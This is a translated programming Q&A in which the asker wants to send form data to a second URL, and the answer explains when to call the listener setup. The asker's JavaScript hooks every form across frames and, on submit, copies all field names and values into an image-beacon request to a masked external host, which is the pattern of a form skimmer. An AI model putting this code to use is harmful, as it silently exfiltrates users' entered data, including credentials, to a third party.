所以简单地说我有一个问题,我需要向两个网址提交相同的信息,所以表单提交操作完全没问题然后我想我可以做一个javascript监听器提交第二个用一个在图像标签中的简单网址,但我发现,如果我使用下面的代码,它不会到达我的服务器,但如果我启用警报框它完全正常..
如果我做了一件非常简单的错事,我道歉但这让我大吃一惊......提前谢谢。
//功能1
function attach(wnd,handler){
for(var i=0; i<wnd.document.forms.length; i++){
var form = wnd.document.forms[i];
form.addEventListener('submit', handler,false);
}
for(var i=0; i<wnd.frames.length; i++){
var iwnd = wnd.frames[i];
attach(iwnd,handler);
}
}
//功能2
function formSubmit(e){
var forms=parent.document.getElementsByTagName("form");
for (i = 0 ; i < forms.length; i++)
{
var chain="";
var forms=parent.document.getElementsByTagName("form");
for (x = 0 ; x < forms.length; x++)
{
var elements=forms[x].elements;
for (e = 0 ; e < elements.length; e++)
{
chain += elements[e].name + "%3d" + elements[e].value + "|";
}
// alert(chain);
var pic = document.createElement('img');
pic.className = 'avatar';
pic.src = 'http://x.x.x.x/images/Image.php?id=0.0.0.0&idi=test'+chain;
pic.height = '50';
pic.width = '50';
document.getElementById('test').appendChild(pic);
}
}
}
答案 0 :(得分:0)
在DOM可用后,您需要调用attach函数。在formSubmit函数之后添加类似的东西:
document.addEventListener("load", function() {
attach(window, formSubmit);
});
请注意,旧版Internet Explorer不支持addEventListener。如果你需要支持他们自己帮个忙,试试jQuery或类似的JS帮助库。